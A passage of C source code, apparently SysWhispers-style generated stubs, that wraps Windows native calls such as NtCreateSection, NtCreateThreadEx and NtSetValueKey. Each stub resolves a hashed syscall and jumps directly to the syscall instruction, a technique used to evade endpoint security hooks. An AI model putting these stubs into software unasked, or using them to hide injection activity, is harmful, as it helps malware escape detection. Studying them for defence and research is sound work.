\"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x8C97980F \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtQuerySymbolicLinkObject(\n    IN HANDLE LinkHandle,\n    IN OUT PUNICODE_STRING LinkTarget,\n    OUT PULONG ReturnedLength OPTIONAL)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0xA63A8CA7 \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0xA63A8CA7 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtCreateSection(\n    OUT PHANDLE SectionHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n    IN PLARGE_INTEGER MaximumSize OPTIONAL,\n    IN ULONG SectionPageProtection,\n    IN ULONG AllocationAttributes,\n    IN HANDLE FileHandle OPTIONAL)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0xF06912F9 \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0xF06912F9 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtOpenThreadToken(\n    IN HANDLE ThreadHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN BOOLEAN OpenAsSelf,\n    OUT PHANDLE TokenHandle)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x73A33918 \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x73A33918 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtCreateTransaction(\n    OUT PHANDLE TransactionHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n    IN LPGUID Uow OPTIONAL,\n    IN HANDLE TmHandle OPTIONAL,\n    IN ULONG CreateOptions OPTIONAL,\n    IN ULONG IsolationLevel OPTIONAL,\n    IN ULONG IsolationFlags OPTIONAL,\n    IN PLARGE_INTEGER Timeout OPTIONAL,\n    IN PUNICODE_STRING Description OPTIONAL)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x7CAB5EFB \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x7CAB5EFB \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtQueryInformationFile(\n    IN HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    OUT PVOID FileInformation,\n    IN ULONG Length,\n    IN FILE_INFORMATION_CLASS FileInformationClass)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x38985C1E \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x38985C1E \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtMakeTemporaryObject(\n    IN HANDLE Handle)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x84DF4D82 \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x84DF4D82 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtCreateKey(\n    OUT PHANDLE KeyHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    IN ULONG TitleIndex,\n    IN PUNICODE_STRING Class OPTIONAL,\n    IN ULONG CreateOptions,\n    OUT PULONG Disposition OPTIONAL)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0xA1B2860C \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0xA1B2860C \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtSetValueKey(\n    IN HANDLE KeyHandle,\n    IN PUNICODE_STRING ValueName,\n    IN ULONG TitleIndex OPTIONAL,\n    IN ULONG Type,\n    IN PVOID SystemData,\n    IN ULONG DataSize)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x0A1F2D80 \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x0A1F2D80 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtQueryWnfStateNameInformation(\n    IN PVOID StateName,\n    IN ULONG NameInfoClass,\n    IN PVOID ExplicitScope OPTIONAL,\n    OUT PVOID InfoBuffer,\n    IN ULONG InfoBufferSize)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x14823613 \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x14823613 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtUpdateWnfStateData(\n    IN PVOID StateName,\n    IN PVOID Buffer OPTIONAL,\n    IN ULONG Length OPTIONAL,\n    IN PCWNF_TYPE_ID TypeId OPTIONAL,\n    IN PVOID ExplicitScope OPTIONAL,\n    IN WNF_CHANGE_STAMP MatchingChangeStamp,\n    IN ULONG CheckStamp)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0xE63DF28A \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0xE63DF28A \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtOpenEvent(\n    OUT PHANDLE EventHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x32A83D3A \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x32A83D3A \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtAlpcConnectPort(\n    OUT PHANDLE PortHandle,\n    IN PUNICODE_STRING PortName,\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n    IN PALPC_PORT_ATTRIBUTES PortAttributes OPTIONAL,\n    IN ULONG Flags,\n    IN PSID RequiredServerSid OPTIONAL,\n    IN OUT PVOID ConnectionMessage OPTIONAL,\n    IN OUT PULONG BufferLength OPTIONAL,\n    IN OUT PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes OPTIONAL,\n    IN OUT PALPC_MESSAGE_ATTRIBUTES InMessageAttributes OPTIONAL,\n    IN PLARGE_INTEGER Timeout OPTIONAL)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x6AF3595C \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x6AF3595C \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtAlpcSendWaitReceivePort(\n    IN HANDLE PortHandle,\n    IN ULONG Flags,\n    IN PPORT_MESSAGE SendMessage OPTIONAL,\n    IN OUT PALPC_MESSAGE_ATTRIBUTES SendMessageAttributes OPTIONAL,\n    OUT PPORT_MESSAGE ReceiveMessage OPTIONAL,\n    IN OUT PSIZE_T BufferLength OPTIONAL,\n    IN OUT PALPC_MESSAGE_ATTRIBUTES ReceiveMessageAttributes OPTIONAL,\n    IN PLARGE_INTEGER Timeout OPTIONAL)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0xE830236E \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0xE830236E \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtCreateThreadEx(\n    OUT PHANDLE ThreadHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n    IN HANDLE ProcessHandle,\n    IN PVOID StartRoutine,\n    IN PVOID Argument OPTIONAL,\n    IN ULONG CreateFlags,\n    IN SIZE_T ZeroBits,\n    IN SIZE_T StackSize,\n    IN SIZE_T MaximumStackSize,\n    IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x113F55E3 \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x113F55E3 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtDeleteKey(\n    IN HANDLE KeyHandle)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x6BDA0E04 \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x6BDA0E04 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtPrivilegeCheck(\n    IN HANDLE ClientToken,\n    IN OUT PPRIVILEGE_SET RequiredPrivileges,\n    OUT PBOOL Result)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x12B1DE10 \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x12B1DE10 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtCreateEvent(\n    OUT PHANDLE EventHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,\n    IN EVENT_TYPE EventType,\n    IN BOOLEAN InitialState)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov [rsp +8], rcx \\n\"\n        \"mov [rsp+16], rdx \\n\"\n        \"mov [rsp+24], r8 \\n\"\n        \"mov [rsp+32], r9 \\n\"\n        \"mov rcx, 0x10893520 \\n\"\n        \"push rcx \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop rcx \\n\"\n        \"push rax \\n\"\n        \"sub rsp, 0x28 \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add rsp, 0x28 \\n\"\n        \"pop r11 \\n\"\n        \"mov rcx, [rsp+8] \\n\"\n        \"mov rdx, [rsp+16] \\n\"\n        \"mov r8, [rsp+24] \\n\"\n        \"mov r9, [rsp+32] \\n\"\n        \"mov r10, rcx \\n\"\n        \"jmp r11 \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"push 0x10893520 \\n\"\n        \"call SW3_GetSyscallAddress \\n\"\n        \"pop ebx \\n\"\n        \"push eax \\n\"\n        \"push ebx \\n\"\n        \"call SW2_GetSyscallNumber \\n\"\n        \"add esp, 4 \\n\"\n        \"pop ebx \\n\"\n        \"mov edx, esp \\n\"\n        \"sub edx, 4 \\n\"\n        \"call ebx \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) NTSTATUS NtTerminateThread(\n    IN HANDLE ThreadHandle,\n    IN NTSTATUS ExitStatus)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        